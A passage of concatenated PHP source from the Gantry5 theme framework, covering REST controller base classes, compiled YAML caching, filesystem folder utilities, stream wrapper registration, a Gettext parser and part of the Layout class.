static::url('gantry-assets://css/lightcase.css', false, null,
false)], 11);
}
protected static function registerLightcaseInit()
{
static::registerLightcase();
static::addInlineScript(['content' =>
"jQuery(document).ready(function($) {
jQuery('[data-rel^=lightcase]').lightcase({maxWidth:
'100%', maxHeight: '100%', video: {width:
'1280', height: '720'}}); });"], 0,
'footer');
}
protected static function getObject()
{
static $object;
if (!$object) {
// We need to initialize document for backwards compatibility
(RokSprocket/RokGallery in WP).
$object = Gantry::instance()['document'];
}
return $object;
}
/**
* @param string $string
* @param string $to
* @param string $from
* @return false|string|string[]|null
* @internal
*/
private static function convert_encoding($string, $to, $from)
{
if (\function_exists('mb_convert_encoding')) {
return mb_convert_encoding($string, $to, $from);
}
if (\function_exists('iconv')) {
return iconv($from, $to, $string);
}
throw new \RuntimeException('No suitable convert encoding
function (use UTF-8 as your encoding or install the iconv or mbstring
extension).');
}
/**
* @param string $string
* @return false|int|mixed
* @internal
*/
private static function ord($string)
{
if (\function_exists('mb_ord')) {
return mb_ord($string, 'UTF-8');
}
$code = ($string = unpack('C*', substr($string, 0, 4))) ?
$string[1] : 0;
if (0xF0 <= $code) {
return (($code - 0xF0) << 18) + (($string[2] - 0x80)
<< 12) + (($string[3] - 0x80) << 6) + $string[4] - 0x80;
}
if (0xE0 <= $code) {
return (($code - 0xE0) << 12) + (($string[2] - 0x80)
<< 6) + $string[3] - 0x80;
}
if (0xC0 <= $code) {
return (($code - 0xC0) << 6) + $string[2] - 0x80;
}
return $code;
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Component\Controller;
use Gantry\Framework\Request;
use RocketTheme\Toolbox\DI\Container;
use RuntimeException;
abstract class BaseController implements RestfulControllerInterface
{
/**
* @var string Default HTTP method.
*/
protected $method = 'GET';
/**
* @var Request
*/
protected $request;
/**
* @var array List of HTTP verbs and their actions.
*/
protected $httpVerbs = [
'GET' => [
'/' => 'index',
'/create' => 'create',
'/*' => 'display',
'/*/edit' => 'edit'
],
'POST' => [
'/' => 'store'
],
'PUT' => [
'/*' => 'replace'
],
'PATCH' => [
'/*' => 'update'
],
'DELETE' => [
'/*' => 'destroy'
]
];
/**
* @var array Parameters from router.
*/
protected $params = [];
/**
* @var Container
*/
protected $container;
public function __construct(Container $container)
{
$this->container = $container;
$this->request = $container['request'];
}
/**
* Execute controller.
*
* @param string $method
* @param array $path
* @param array $params
* @return mixed
* @throws \RuntimeException
*/
public function execute($method, array $path, array $params)
{
$this->method = $method;
$this->setParams($params);
list($action, $path) = $this->resolveHttpVerb($method, $path);
if (!method_exists($this, $action)) {
$action = 'undefined';
}
return call_user_func_array([$this, $action], $path);
}
/**
* Set router parameters. Replaces the old parameters.
*
* @param array $params
* @return $this
*/
public function setParams(array $params)
{
$this->params = $params;
return $this;
}
/**
* @example GET /resources
*
* @return mixed
*/
public function index()
{
return $this->undefined();
}
/**
* @example GET /resources/:id
*
* @param string $id
* @return mixed
*/
public function display($id)
{
return $this->undefined();
}
/**
* Special sub-resource to create a new resource (returns a form).
*
* @example GET /resources/create
*
* @return mixed
*/
public function create()
{
return $this->undefined();
}
/**
* Special sub-resource to edit existing resource (returns a form).
*
* @example GET /resources/:id/edit
*
* @param string $id
* @return mixed
*/
public function edit($id)
{
return $this->undefined();
}
/**
* @example POST /resources
*
* @return mixed
*/
public function store()
{
return $this->undefined();
}
/**
* @example PUT /resources/:id
*
* @param string $id
* @return mixed
*/
public function replace($id)
{
return $this->undefined();
}
/**
* @example PATCH /resources/:id
*
* @param string $id
* @return mixed
*/
public function update($id)
{
return $this->undefined();
}
/**
* @example DELETE /resources/:id
*
* @param string $id
* @return mixed
*/
public function destroy($id)
{
return $this->undefined();
}
/**
* Catch all action for all undefined actions.
*
* @return mixed
* @throws RuntimeException
*/
public function undefined()
{
if (in_array($this->method, ['HEAD',
'GET'])) {
throw new RuntimeException('Page Not Found', 404);
}
throw new RuntimeException('Invalid Action', 405);
}
/**
* Catch all action for forbidden actions.
*
* @return mixed
* @throws RuntimeException
*/
public function forbidden()
{
throw new RuntimeException('Forbidden', 403);
}
/**
* Load resource.
*
* Function throws an exception if resource does not exist.
*
* @param string|int $id
* @throws \RuntimeException
*/
protected function loadResource($id)
{
throw new RuntimeException('Resource Not Found', 404);
}
/**
* Resolve HTTP verb.
*
* @param string $method
* @param array $items
* @return array [function, parameters]
*/
protected function resolveHttpVerb($method, array $items)
{
// HEAD has identical behavior to GET.
$method = ($method == 'HEAD') ? 'GET' :
$method;
if (!isset($this->httpVerbs[$method])) {
// HTTP method is not defined.
return ['undefined', $items];
}
$path = '';
$remaining = $items;
$variables = [];
$actions = $this->httpVerbs[$method];
// Build path for the verb and fetch all the variables.
while (($current = array_shift($remaining)) !== null) {
$test = "{$path}/{$current}";
if (!isset($actions[$test])) {
// Specific path not found, check if we have a variable.
$test = "{$path}/*";
if (isset($actions[$test])) {
// Variable found, save the value and move on.
$variables[] = $current;
} elseif (isset($actions[$test . '*'])) {
// Wildcard found, pass through rest of the variables.
$path = $test . '*';
$variables = array_merge($variables, [$current],
$remaining);
break;
} else {
// No matches; we are done here.
return ['undefined', $items];
}
}
// Path was found.
$path = $test;
}
// No matching path; check if we have verb for the root.
if (!$path && isset($actions['/'])) {
$path = '/';
}
// Get the action.
$action = $path ? $actions[$path] : 'undefined';
return [$action, $variables];
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Component\Controller;
use Gantry\Component\Response\HtmlResponse;
use Gantry\Component\Response\Response;
abstract class HtmlController extends BaseController
{
/**
* Execute controller and returns Response object, defaulting to
HtmlResponse.
*
* @param string $method
* @param array $path
* @param array $params
* @return mixed
* @throws \RuntimeException
*/
public function execute($method, array $path, array $params)
{
$response = parent::execute($method, $path, $params);
if (!$response instanceof Response) {
$response = new HtmlResponse($response);
}
return $response;
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Component\Controller;
use Gantry\Component\Response\JsonResponse;
abstract class JsonController extends BaseController
{
/**
* Execute controller and returns JsonResponse object.
*
* @param string $method
* @param array $path
* @param array $params
* @return mixed
* @throws \RuntimeException
*/
public function execute($method, array $path, array $params)
{
$response = parent::execute($method, $path, $params);
if (!$response instanceof JsonResponse) {
$response = new JsonResponse($response);
}
return $response;
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Component\Controller;
interface RestfulControllerInterface
{
/**
* @example GET /resources
*
* @return mixed
*/
public function index();
/**
* @example GET /resources/:id
*
* @param string $id
* @return mixed
*/
public function display($id);
/**
* Special sub-resource to create a new resource (returns a form).
*
* @example GET /resources/create
*
* @return mixed
*/
public function create();
/**
* Special sub-resource to edit existing resource (returns a form).
*
* @example GET /resources/:id/edit
*
* @param string $id
* @return mixed
*/
public function edit($id);
/**
* @example POST /resources
*
* @return mixed
*/
public function store();
/**
* @example PUT /resources/:id
*
* @param string $id
* @return mixed
*/
public function replace($id);
/**
* @example PATCH /resources/:id
*
* @param string $id
* @return mixed
*/
public function update($id);
/**
* @example DELETE /resources/:id
*
* @param string $id
* @return mixed
*/
public function destroy($id);
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Component\File;
use RocketTheme\Toolbox\File\PhpFile;
/**
* Class CompiledFile
* @package Grav\Common\File
*
* @property string $filename
* @property string $extension
* @property string $raw
* @property array|string $content
*/
trait CompiledFile
{
protected $cachePath;
protected $caching = true;
/**
* @param string $path
* @return $this
*/
public function setCachePath($path)
{
$this->cachePath = $path;
return $this;
}
public function caching($enabled = null)
{
if (null !== $enabled) {
$this->caching = (bool) $enabled;
}
return $this->caching;
}
/**
* Get/set parsed file contents.
*
* @param mixed $var
* @return string
* @throws \BadMethodCallException
*/
public function content($var = null)
{
if (!$this->cachePath) {
throw new \BadMethodCallException("Cache path not defined
for compiled file ({$this->filename})!");
}
try {
// If nothing has been loaded, attempt to get pre-compiled
version of the file first.
if ($var === null && $this->raw === null &&
$this->content === null) {
$modified = $this->modified();
if (!$modified || !$this->caching) {
return $this->decode($this->raw());
}
$key = md5($this->filename);
$file = PhpFile::instance($this->cachePath .
"/{$key}{$this->extension}.php");
$class = get_class($this);
$cache = $file->exists() ? $file->content() : null;
// Load real file if cache isn't up to date (or is
invalid).
if (!isset($cache['@class'])
|| $cache['@class'] != $class
|| $cache['modified'] != $modified
|| $cache['filename'] != $this->filename
) {
// Attempt to lock the file for writing.
try {
$file->lock(false);
} catch (\Exception $e) {
// Another process has locked the file; we will
check this in a bit.
}
// Decode RAW file into compiled array.
$data = $this->decode($this->raw());
$cache = [
'@class' => $class,
'filename' => $this->filename,
'modified' => $modified,
'data' => $data
];
// If compiled file wasn't already locked by
another process, save it.
if ($file->locked() !== false) {
$file->save($cache);
$file->unlock();
// Compile cached file into bytecode cache
if
(function_exists('opcache_invalidate')) {
// Silence error in case if
`opcache.restrict_api` directive is set.
@opcache_invalidate($file->filename(),
true);
} elseif
(function_exists('apc_compile_file')) {
// PHP 5.4
@apc_compile_file($file->filename());
}
}
}
$file->free();
$this->content = $cache['data'];
}
} catch (\Exception $e) {
throw new \RuntimeException(sprintf('Failed to read %s:
%s', basename($this->filename), $e->getMessage()), 500, $e);
}
return parent::content($var);
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Component\File;
use RocketTheme\Toolbox\File\YamlFile;
class CompiledYamlFile extends YamlFile
{
use CompiledFile;
static public $defaultCachePath;
static public $defaultCaching = true;
protected function __construct()
{
parent::__construct();
$this->caching(static::$defaultCaching);
if (static::$defaultCachePath) {
$this->setCachePath(static::$defaultCachePath);
}
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Component\Filesystem;
/**
* Folder helper class.
*
* @author RocketTheme
* @license MIT
*/
abstract class Folder
{
/**
* Recursively find the last modified time under given path.
*
* @param string $path
* @return int
*/
public static function lastModifiedFolder($path)
{
$last_modified = 0;
$directory = new \RecursiveDirectoryIterator($path,
\RecursiveDirectoryIterator::SKIP_DOTS);
$iterator = new \RecursiveIteratorIterator($directory,
\RecursiveIteratorIterator::SELF_FIRST);
/** @var \RecursiveDirectoryIterator $file */
foreach ($iterator as $file) {
$dir_modified = $file->getMTime();
if ($dir_modified > $last_modified) {
$last_modified = $dir_modified;
}
}
return $last_modified;
}
/**
* Get relative path between target and base path. If path isn't
relative, return full path.
*
* @param string $path
* @param string $base
* @return string
*/
public static function getRelativePath($path, $base = GANTRY5_ROOT)
{
$base = preg_replace('![\\\/]+!', '/', $base);
$path = preg_replace('![\\\/]+!', '/', $path);
if (strpos($path, $base) === 0) {
$path = ltrim(substr($path, strlen($base)), '/');
}
return $path;
}
/**
* Get relative path between target and base path. If path isn't
relative, return full path.
*
* @param string $path
* @param string $base
* @return string
*/
public static function getRelativePathDotDot($path, $base)
{
$base = preg_replace('![\\\/]+!', '/', $base);
$path = preg_replace('![\\\/]+!', '/', $path);
if ($path === $base) {
return '';
}
$baseParts = explode('/', isset($base[0]) &&
'/' === $base[0] ? substr($base, 1) : $base);
$pathParts = explode('/', isset($path[0]) &&
'/' === $path[0] ? substr($path, 1) : $path);
array_pop($baseParts);
$lastPart = array_pop($pathParts);
foreach ($baseParts as $i => $directory) {
if (isset($pathParts[$i]) && $pathParts[$i] ===
$directory) {
unset($baseParts[$i], $pathParts[$i]);
} else {
break;
}
}
$pathParts[] = $lastPart;
$path = str_repeat('../', count($baseParts)) .
implode('/', $pathParts);
return '' === $path
|| '/' === $path[0]
|| false !== ($colonPos = strpos($path, ':'))
&& ($colonPos < ($slashPos = strpos($path, '/')) ||
false === $slashPos)
? "./$path" : $path;
}
/**
* Shift first directory out of the path.
*
* @param string $path
* @return string
*/
public static function shift(&$path)
{
$parts = explode('/', trim($path, '/'), 2);
$result = array_shift($parts);
$path = array_shift($parts);
return $result ?: null;
}
/**
* Return recursive list of all files and directories under given path.
*
* @param string $path
* @param array $params
* @return array
* @throws \RuntimeException
*/
public static function all($path, array $params = array())
{
if ($path === false) {
throw new \RuntimeException("Path to {$path} doesn't
exist.");
}
$compare = isset($params['compare']) ? 'get' .
$params['compare'] : null;
$pattern = isset($params['pattern']) ?
$params['pattern'] : null;
$filters = isset($params['filters']) ?
$params['filters'] : null;
$recursive = isset($params['recursive']) ?
$params['recursive'] : true;
$levels = isset($params['levels']) ?
$params['levels'] : -1;
$key = isset($params['key']) ? 'get' .
$params['key'] : null;
$value = isset($params['value']) ? 'get' .
$params['value'] : ($recursive ? 'getSubPathname' :
'getFilename');
$folders = isset($params['folders']) ?
$params['folders'] : true;
$files = isset($params['files']) ?
$params['files'] : true;
if ($recursive) {
$directory = new \RecursiveDirectoryIterator($path,
\RecursiveDirectoryIterator::SKIP_DOTS +
\FilesystemIterator::UNIX_PATHS + \FilesystemIterator::CURRENT_AS_SELF);
$iterator = new \RecursiveIteratorIterator($directory,
\RecursiveIteratorIterator::SELF_FIRST);
$iterator->setMaxDepth(max($levels, -1));
} else {
$iterator = new \FilesystemIterator($path);
}
$results = array();
/** @var \RecursiveDirectoryIterator $file */
foreach ($iterator as $file) {
// Ignore hidden files.
if ($file->getFilename()[0] == '.') {
continue;
}
if (!$folders && $file->isDir()) {
continue;
}
if (!$files && $file->isFile()) {
continue;
}
if ($compare && $pattern &&
!preg_match($pattern, $file->{$compare}())) {
continue;
}
$fileKey = $key ? $file->{$key}() : null;
$filePath = $file->{$value}();
if ($filters) {
if (isset($filters['key'])) {
$filter = $filters['key'];
$pre = !empty($filters['pre-key']) ?
$filters['pre-key'] : '';
if (is_callable($filter)) {
$fileKey = $pre . call_user_func($filter,
$fileKey);
} else {
$fileKey = $pre . preg_replace($filter,
'', $fileKey);
}
}
if (isset($filters['value'])) {
$filter = $filters['value'];
if (is_callable($filter)) {
$filePath = call_user_func($filter, $file);
} else {
$filePath = preg_replace($filter, '',
$filePath);
}
}
}
if ($fileKey !== null) {
$results[$fileKey] = $filePath;
} else {
$results[] = $filePath;
}
}
return $results;
}
/**
* Recursively copy directory in filesystem.
*
* @param string $source
* @param string $target
* @param string $ignore Ignore files matching pattern (regular
expression).
* @throws \RuntimeException
*/
public static function copy($source, $target, $ignore = null)
{
$source = rtrim($source, '\\/');
$target = rtrim($target, '\\/');
if (!is_dir($source)) {
throw new \RuntimeException('Cannot copy non-existing
folder.');
}
// Make sure that path to the target exists before copying.
self::create($target);
$success = true;
// Go through all sub-directories and copy everything.
$files = self::all($source);
foreach ($files as $file) {
if ($ignore && preg_match($ignore, $file)) {
continue;
}
$src = $source .'/'. $file;
$dst = $target .'/'. $file;
if (is_dir($src)) {
// Create current directory (if it doesn't exist).
if (!is_dir($dst)) {
$success &= @mkdir($dst, 0777, true);
}
} else {
// Or copy current file.
$success &= @copy($src, $dst);
}
}
if (!$success) {
$error = error_get_last();
throw new \RuntimeException($error['message']);
}
// Make sure that the change will be detected when caching.
@touch(dirname($target));
}
/**
* Move directory in filesystem.
*
* @param string $source
* @param string $target
* @throws \RuntimeException
*/
public static function move($source, $target)
{
if (!is_dir($source)) {
throw new \RuntimeException('Cannot move non-existing
folder.');
}
// Make sure that path to the target exists before moving.
self::create(dirname($target));
// Just rename the directory.
$success = @rename($source, $target);
if (!$success) {
$error = error_get_last();
throw new \RuntimeException($error['message']);
}
// Make sure that the change will be detected when caching.
@touch(dirname($source));
@touch(dirname($target));
}
/**
* Recursively delete directory from filesystem.
*
* @param string $target
* @param bool $include_target
* @throws \RuntimeException
*/
public static function delete($target, $include_target = true)
{
if (!$target) { return; }
if (!is_dir($target)) {
throw new \RuntimeException('Cannot delete non-existing
folder.');
}
$success = self::doDelete($target, $include_target);
if (!$success) {
$error = error_get_last();
throw new \RuntimeException($error['message']);
}
// Make sure that the change will be detected when caching.
if ($include_target) {
@touch(dirname($target));
} else {
@touch($target);
}
}
/**
* @param string $folder
* @throws \RuntimeException
*/
public static function create($folder)
{
if (is_dir($folder)) {
return;
}
$success = @mkdir($folder, 0777, true);
if (!$success) {
// Take yet another look, make sure that the folder
doesn't exist.
clearstatcache(true, $folder);
if (is_dir($folder)) {
return;
}
$error = error_get_last();
throw new \RuntimeException($error['message']);
}
}
/**
* @param string $folder
* @param bool $include_target
* @return bool
* @internal
*/
protected static function doDelete($folder, $include_target = true)
{
// Special case for symbolic links.
if ($include_target && is_link($folder)) {
return @unlink($folder);
}
// Go through all items in filesystem and recursively remove
everything.
$files = array_diff(scandir($folder), array('.',
'..'));
foreach ($files as $file) {
$path = "{$folder}/{$file}";
(is_dir($path)) ? self::doDelete($path) : @unlink($path);
}
return $include_target ? @rmdir($folder) : true;
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Component\Filesystem;
use RocketTheme\Toolbox\ResourceLocator\UniformResourceLocator;
use RocketTheme\Toolbox\StreamWrapper\ReadOnlyStream;
use RocketTheme\Toolbox\StreamWrapper\Stream;
class Streams
{
/**
* @var array
*/
protected $schemes = [];
/**
* @var array
*/
protected $registered;
/**
* @var UniformResourceLocator
*/
protected $locator;
public function __construct(UniformResourceLocator $locator = null)
{
if ($locator) {
$this->setLocator($locator);
}
}
/**
* @param UniformResourceLocator $locator
*/
public function setLocator(UniformResourceLocator $locator)
{
$this->locator = $locator;
// Set locator to both streams.
Stream::setLocator($locator);
ReadOnlyStream::setLocator($locator);
}
/**
* @return UniformResourceLocator
*/
public function getLocator()
{
return $this->locator;
}
public function add(array $schemes)
{
foreach ($schemes as $scheme => $config) {
$force = !empty($config['force']);
if (isset($config['paths'])) {
$this->locator->addPath($scheme, '',
$config['paths'], false, $force);
}
if (isset($config['prefixes'])) {
foreach ($config['prefixes'] as $prefix =>
$paths) {
$this->locator->addPath($scheme, $prefix, $paths,
false, $force);
}
}
$type = !empty($config['type']) ?
$config['type'] : 'ReadOnlyStream';
if ($type[0] != '\\') {
$type = '\\Rockettheme\\Toolbox\\StreamWrapper\\'
. $type;
}
$this->schemes[$scheme] = $type;
if (isset($this->registered)) {
$this->doRegister($scheme, $type);
}
}
}
public function register()
{
$this->registered = stream_get_wrappers();
foreach ($this->schemes as $scheme => $type) {
$this->doRegister($scheme, $type);
}
}
protected function doRegister($scheme, $type)
{
if (in_array($scheme, $this->registered)) {
stream_wrapper_unregister($scheme);
}
if (!stream_wrapper_register($scheme, $type)) {
throw new \InvalidArgumentException("Stream
'{$type}' could not be initialized.");
}
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Component\Gantry;
use Gantry\Framework\Gantry;
trait GantryTrait
{
/**
* @var Gantry
*/
private static $gantry;
/**
* Get global Gantry instance.
*
* @return Gantry
*/
public static function gantry()
{
// We cannot set variable directly for the trait as it doesn't
work in HHVM.
if (!self::$gantry) {
self::$gantry = Gantry::instance();
}
return self::$gantry;
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Component\Gettext;
/**
* Class Gettext
* @package Gantry\Component\Gettext
*
* Examples on translating gettext in twig:
*
* {% trans string_var %}
* http://twig.sensiolabs.org/doc/extensions/i18n.html
*
* {% trans %}Hello {{ author.name }}{% endtrans %}
* http://symfony.com/doc/current/book/translation.html
*
* {{ 'Hello %name%'|trans({'%name%': name}) }}
* {{ trans('Hello %name%', {'%name%': name}) }}
*/
class Gettext
{
public $pos = 0;
public $str;
public $len;
public $endian = 'V';
public function parse($string)
{
$this->str = $string;
$this->len = strlen($string);
$magic = self::readInt() & 0xffffffff;
if ($magic === 0x950412de) {
// Low endian.
$this->endian = 'V';
} elseif ($magic === 0xde120495) {
// Big endian.
$this->endian = 'N';
} else {
throw new \Exception('Not a Gettext file (.mo)');
}
// Skip revision number.
self::readInt();
// Total count.
$total = self::readInt();
// Offset of original table.
$originals = self::readInt();
// Offset of translation table.
$translations = self::readInt();
$this->seek($originals);
$table_originals = self::readIntArray($total * 2);
$this->seek($translations);
$table_translations = self::readIntArray($total * 2);
$items = [];
for ($i = 0; $i < $total; $i++) {
$this->seek($table_originals[$i * 2 + 2]);
$original = $this->read($table_originals[$i * 2 + 1]);
if ($original) {
$this->seek($table_translations[$i * 2 + 2]);
$items[$original] = $this->read($table_translations[$i *
2 + 1]);
}
}
return $items;
}
/**
* @return int
*/
protected function readInt()
{
$read = $this->read(4);
if ($read === false) {
return false;
}
$read = unpack($this->endian, $read);
return array_shift($read);
}
/**
* @param $count
* @return array
*/
protected function readIntArray($count)
{
return unpack($this->endian . $count, $this->read(4 *
$count));
}
/**
* @param $bytes
* @return string
*/
private function read($bytes)
{
$data = substr($this->str, $this->pos, $bytes);
$this->seek($this->pos + $bytes);
return $data;
}
/**
* @param $pos
* @return mixed
*/
private function seek($pos)
{
$this->pos = max($this->len, $pos);
return $this->pos;
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Component\Layout;
use Gantry\Component\Config\Config;
use Gantry\Component\File\CompiledYamlFile;
use Gantry\Framework\Outlines;
use Gantry\Framework\Gantry;
use RocketTheme\Toolbox\ArrayTraits\ArrayAccess;
use RocketTheme\Toolbox\ArrayTraits\Export;
use RocketTheme\Toolbox\ArrayTraits\ExportInterface;
use RocketTheme\Toolbox\ArrayTraits\Iterator;
use RocketTheme\Toolbox\File\YamlFile;
use RocketTheme\Toolbox\ResourceLocator\UniformResourceIterator;
use RocketTheme\Toolbox\ResourceLocator\UniformResourceLocator;
/**
* Layout
*/
class Layout implements \ArrayAccess, \Iterator, ExportInterface
{
use ArrayAccess, Iterator, Export;
const VERSION = 7;
protected static $instances = [];
protected static $indexes = [];
protected $layout = ['wrapper', 'container',
'section', 'grid', 'block',
'offcanvas'];
public $name;
public $timestamp = 0;
public $preset = [];
public $equalized = [3 => 33.3, 6 => 16.7, 7 => 14.3, 8 =>
12.5, 9 => 11.1, 11 => 9.1, 12 => 8.3];
protected $exists;
protected $items;
protected $references;
protected $parents;
protected $blocks;
protected $types;
protected $inherit;
/**
* @return array
*/
public static function presets()
{
$gantry = Gantry::instance();
/** @var UniformResourceLocator $locator */
$locator = $gantry['locator'];
/** @var UniformResourceIterator $iterator */
$iterator = $locator->getIterator(
'gantry-layouts://',
UniformResourceIterator::CURRENT_AS_SELF |
UniformResourceIterator::UNIX_PATHS | UniformResourceIterator::SKIP_DOTS
);
$files = [];
/** @var UniformResourceIterator $info */
foreach ($iterator as $info) {
$name = $info->getBasename('.yaml');
if (!$info->isFile() || $info->getExtension() !==
'yaml' || $name[0] === '.') {
continue;
}
$files[] = $name;
}
sort($files);
$results = ['user' => [], 'system' =>
[]];
foreach ($files as $preset) {
$scope = $preset && $preset[0] !== '_' ?
'user' : 'system';
$results[$scope][$preset] =
ucwords(trim(preg_replace(['|_|', '|/|'], ['
', ' / '], $preset)));
}
return $results;
}
/**
* @param string $name
* @return array
* @throws \RuntimeException
*/
public static function preset($name)
{
$gantry = Gantry::instance();
/** @var UniformResourceLocator $locator */
$locator = $gantry['locator'];
$filename =
$locator->findResource("gantry-layouts://{$name}.yaml");
if (!$filename) {
throw new \RuntimeException(sprintf("Preset '%s'
not found", $name), 404);
}
$layout = LayoutReader::read($filename);
$layout['preset']['name'] = $name;
$layout['preset']['timestamp'] =
filemtime($filename);
return $layout;
}
/**
* @param string $name
* @return Layout
*/
public static function instance($name)
{
if (!isset(static::$instances[$name])) {
static::$instances[$name] = static::load($name);
}
return static::$instances[$name];
}
/**
* @param string $name
* @return Layout
*/
public static function index($name)
{
if (!isset(static::$indexes[$name])) {
static::$indexes[$name] = static::loadIndex($name, true);
}
return static::$indexes[$name];
}
/**
* @param string $name
* @param array $items
* @param array $preset
*/
public function __construct($name, array $items = null, array $preset =
null)
{
$this->name = $name;
$this->items = (array) $items;
$this->exists = $items !== null;
// Add preset data from the layout.
if ($preset) {
$this->preset = $preset;
} elseif (isset($this->items['preset'])) {
$this->preset = (array) $this->items['preset'];
}
unset($this->items['preset']);
$this->preset += [
'name' => '',
'timestamp' => 0,
'image' =>
'gantry-admin://images/layouts/default.png'
];
}
/**
* @return bool
*/
public function exists()
{
return $this->exists;
}
/**
* Initialize layout.
*
* @param bool $force
* @param bool $inherit
* @return $this
*/
public function init($force = false, $inherit = true)
{
if ($force || $this->references === null) {
$this->initReferences();
if ($inherit) {
$this->initInheritance();
}
}
return $this;
}
/**
* Build separate meta-information from the layout.
*
* @return array
*/
public function buildIndex()
{
return [
'name' => $this->name,
'timestamp' => $this->timestamp,
'version' => static::VERSION,
'preset' => $this->preset,
'positions' => $this->positions(),
'sections' => $this->sections(),
'particles' => $this->particles(),
'inherit' => $this->inherit()
];
}
/**
* @return $this
*/
public function clean()
{
$this->references = null;
$this->types = null;
$this->inherit = null;
$this->cleanLayout($this->items);
return $this;
}
/**
* @param string $old
* @param string $new
* @param array $ids
* @return $this
*/
public function updateInheritance($old, $new = null, $ids = null)
{
$this->init();
$inherit = $this->inherit();
if (!empty($inherit[$old])) {
foreach ($inherit[$old] as $id => $inheritId) {
$element = $this->find($id, false);
if ($element) {
$inheritId = isset($element->inherit->particle) ?
$element->inherit->particle : $id;
if ($new && ($ids === null ||
isset($ids[$inheritId]))) {
// Add or modify inheritance.
if (!isset($element->inherit)) {
$element->inherit = new \stdClass;
}
$element->inherit->outline = $new;
} else {
// Remove inheritance.
$element->inherit = new \stdClass;
unset($this->inherit[$element->id]);
}
} else {
// Element does not exist anymore, remove its
reference.
unset($this->inherit[$id]);
}
}
}
return $this;
}
/**
* Save layout.
*
* @param bool $cascade
* @return $this
*/
public function save($cascade = true)
{
if (!$this->name) {
throw new \LogicException('Cannot save unnamed
layout');
}
GANTRY_DEBUGGER &&
\Gantry\Debugger::addMessage("Saving layout for outline
{$this->name}");
$name = strtolower(preg_replace('|[^a-z\d_-]|ui',
'_', $this->name));
$gantry = Gantry::instance();
/** @var UniformResourceLocator $locator */
$locator = $gantry['locator'];
// If there are atoms in the layout, copy them into outline
configuration.
$atoms = $this->atoms();
if (is_array($atoms) && $cascade) {
// Save layout into custom directory for the current theme.
$filename =
$locator->findResource("gantry-config://{$name}/page/head.yaml",
true, true);
$file = YamlFile::instance($filename);
$config = new Config($file->content());
$file->save($config->set('atoms',
json_decode(json_encode($atoms), true))->toArray());
$file->free();
}
// Remove atoms from the layout.
foreach ($this->items as $key => $section) {
if ($section->type === 'atoms') {
unset ($this->items[$key]);
}
}
// Make sure that base outline never uses inheritance.
if ($name === 'default') {
$this->inheritNothing();
}
$filename =
$locator->findResource("gantry-config://{$name}/layout.yaml",
true, true);
$file = CompiledYamlFile::instance($filename);
$file->settings(['inline' => 20]);
